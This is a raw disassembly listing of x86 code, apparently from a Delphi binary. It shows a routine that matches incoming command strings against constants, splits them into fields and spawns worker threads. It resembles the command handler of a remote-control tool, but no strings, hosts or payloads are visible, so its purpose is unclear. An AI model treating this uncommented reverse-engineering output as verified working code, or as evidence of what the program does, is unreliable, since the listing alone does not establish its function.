mov edx, 0x48e080
mov eax, dword [ebp - 4]
call fcn.0040eea4
mov edx, dword [ebp - 0x90c]
lea eax, [ebp - 4]
call fcn.004054c0
call fcn.00431280
mov edx, dword [ebp - 4]
call fcn.00430e08
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48995b
mov eax, dword [ebp - 4]
mov edx, 0x48e08c
call fcn.00405850
jne 0x489996
xor eax, eax
push ebp
push 0x48998c
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00431280
mov edx, dword [eax]
call dword [edx + 0x10]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x489996
mov eax, dword [ebp - 4]
mov edx, 0x48e09c
call fcn.00405850
jne 0x4899d1
lea eax, [ebp - 0x914]
call fcn.0049af40
mov ecx, dword [ebp - 0x914]
lea eax, [ebp - 0x910]
mov edx, 0x48e0b0
call fcn.00405740
mov eax, dword [ebp - 0x910]
call fcn.00482cc8
lea eax, [ebp - 0x918]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x918]
mov edx, 0x48e0c0
call fcn.00405850
jne 0x489b56
lea eax, [ebp - 4]
mov ecx, 0xa
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x489b42
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x24]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov eax, ebx
mov dword [ebp - 0x314], eax
lea eax, [ebp - 0x91c]
call fcn.0047b0fc
mov edx, dword [ebp - 0x91c]
mov eax, dword [ebp - 0x314]
call fcn.0040547c
mov eax, dword [ebp - 0x314]
add eax, 4
mov edx, dword [ebp - 0x1c]
call fcn.0040547c
mov eax, dword [ebp - 0x314]
add eax, 8
mov edx, dword [ebp - 0x20]
call fcn.0040547c
mov eax, dword [ebp - 0x314]
add eax, 0xc
mov edx, dword [ebp - 0x24]
call fcn.0040547c
mov eax, dword [ebp - 0x314]
add eax, 0x10
mov edx, 0x48cd74
call fcn.0040547c
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x494f08
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x489b56
mov eax, dword [ebp - 4]
mov edx, 0x48e100
call fcn.00405850
jne 0x489bd8
xor eax, eax
push ebp
push 0x489bce
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x924]
call fcn.0047b864
mov eax, dword [ebp - 0x924]
lea edx, [ebp - 0x920]
call fcn.00409ae0
cmp dword [ebp - 0x920], 0
je 0x489bc4
lea eax, [ebp - 0x92c]
call fcn.0047b864
mov ecx, dword [ebp - 0x92c]
lea eax, [ebp - 0x928]
mov edx, 0x48e110
call fcn.00405740
mov eax, dword [ebp - 0x928]
call fcn.00482cc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x489bd8
lea eax, [ebp - 0x930]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x930]
mov edx, 0x48e124
call fcn.00405850
jne 0x489e1a
lea eax, [ebp - 4]
mov ecx, 0xa
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x489e10
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4a888c
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
push 0x4a8890
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x24]
mov edx, dword [ebp - 4]
call fcn.004054c0
mov eax, dword [0x4a8890]
call fcn.00409e40
call fcn.0047b600
mov eax, dword [0x4a888c]
call fcn.00409e40
push eax
lea eax, [ebp - 0x934]
call fcn.00463964
lea eax, [ebp - 0x934]
mov edx, 0x48e138
call fcn.004056f4
mov eax, dword [ebp - 0x934]
pop edx
call fcn.0047b954
call fcn.0047b744
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov eax, ebx
mov dword [ebp - 0x318], eax
lea eax, [ebp - 0x938]
call fcn.00463964
mov edx, dword [ebp - 0x938]
mov eax, dword [ebp - 0x318]
mov ecx, 0x48e138
call fcn.00405740
mov eax, dword [ebp - 0x318]
add eax, 4
mov edx, dword [ebp - 0x1c]
call fcn.0040547c
mov eax, dword [ebp - 0x318]
add eax, 8
mov edx, dword [ebp - 0x20]
call fcn.0040547c
mov eax, dword [ebp - 0x318]
add eax, 0xc
mov edx, dword [ebp - 0x24]
call fcn.0040547c
mov eax, dword [ebp - 0x318]
add eax, 0x10
mov edx, 0x48cd74
call fcn.0040547c
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x492b0c
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x489e1a
lea eax, [ebp - 0x93c]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x93c]
mov edx, 0x48e14c
call fcn.00405850
jne 0x48a016
lea eax, [ebp - 4]
mov ecx, 0xa
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x48a00c
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4a888c
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
push 0x4a8890
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x24]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov eax, ebx
mov dword [ebp - 0x31c], eax
lea eax, [ebp - 0x940]
call fcn.00463964
mov edx, dword [ebp - 0x940]
mov eax, dword [ebp - 0x31c]
mov ecx, 0x48e138
call fcn.00405740
mov eax, dword [ebp - 0x31c]
add eax, 4
mov edx, dword [ebp - 0x1c]
call fcn.0040547c
mov eax, dword [ebp - 0x31c]
add eax, 8
mov edx, dword [ebp - 0x20]
call fcn.0040547c
mov eax, dword [ebp - 0x31c]
add eax, 0xc
mov edx, dword [ebp - 0x24]
call fcn.0040547c
mov eax, dword [ebp - 0x31c]
add eax, 0x10
mov edx, 0x48cd74
call fcn.0040547c
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x497a84
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48a016
lea eax, [ebp - 0x944]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x944]
mov edx, 0x48e160
call fcn.00405850
jne 0x48a09e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48cb2d
lea eax, [ebp - 0xae0]
mov edx, 3
call fcn.0040544c
lea eax, [ebp - 0xad4]
call fcn.004070d4
lea eax, [ebp - 0xad0]
mov edx, 0x44
call fcn.0040544c
lea eax, [ebp - 0x9c0]
mov edx, dword [0x482200]
call fcn.004069fc
lea eax, [ebp - 0x9bc]
mov edx, 0x1b
call fcn.0040544c
lea eax, [ebp - 0x950]
mov edx, 0x47
call fcn.0040544c
lea eax, [ebp - 0x834]
call fcn.004070d4
lea eax, [ebp - 0x830]
call fcn.00405c04
lea eax, [ebp - 0x82c]
call fcn.004070d4
lea eax, [ebp - 0x828]
call fcn.00405c04
lea eax, [ebp - 0x824]
call fcn.004070d4
lea eax, [ebp - 0x820]
call fcn.00405c04
lea eax, [ebp - 0x81c]
call fcn.004070d4
lea eax, [ebp - 0x818]
call fcn.00405c04
lea eax, [ebp - 0x814]
call fcn.004070d4
lea eax, [ebp - 0x810]
call fcn.00405c04
lea eax, [ebp - 0x80c]
mov edx, dword [0x45e24c]
mov ecx, 5
call fcn.00405fe0
lea eax, [ebp - 0x7f8]
mov edx, 0xe
call fcn.0040544c
lea eax, [ebp - 0x7c0]
mov edx, 0x29
call fcn.0040544c
lea eax, [ebp - 0x714]
mov edx, 0x3a
call fcn.0040544c
lea eax, [ebp - 0x628]
call fcn.00405428
lea eax, [ebp - 0x62c]
call fcn.00405428
lea eax, [ebp - 0x624]
mov edx, 0x2f
call fcn.0040544c
lea eax, [ebp - 0x2a0]
mov edx, dword [0x408ad8]
call fcn.00405f94
lea eax, [ebp - 0xcc]
mov edx, 0x33
call fcn.0040544c
lea eax, [ebp - 0x140]
call fcn.004115e8
lea eax, [ebp - 0x12c]
mov edx, 0x18
call fcn.0040544c
ret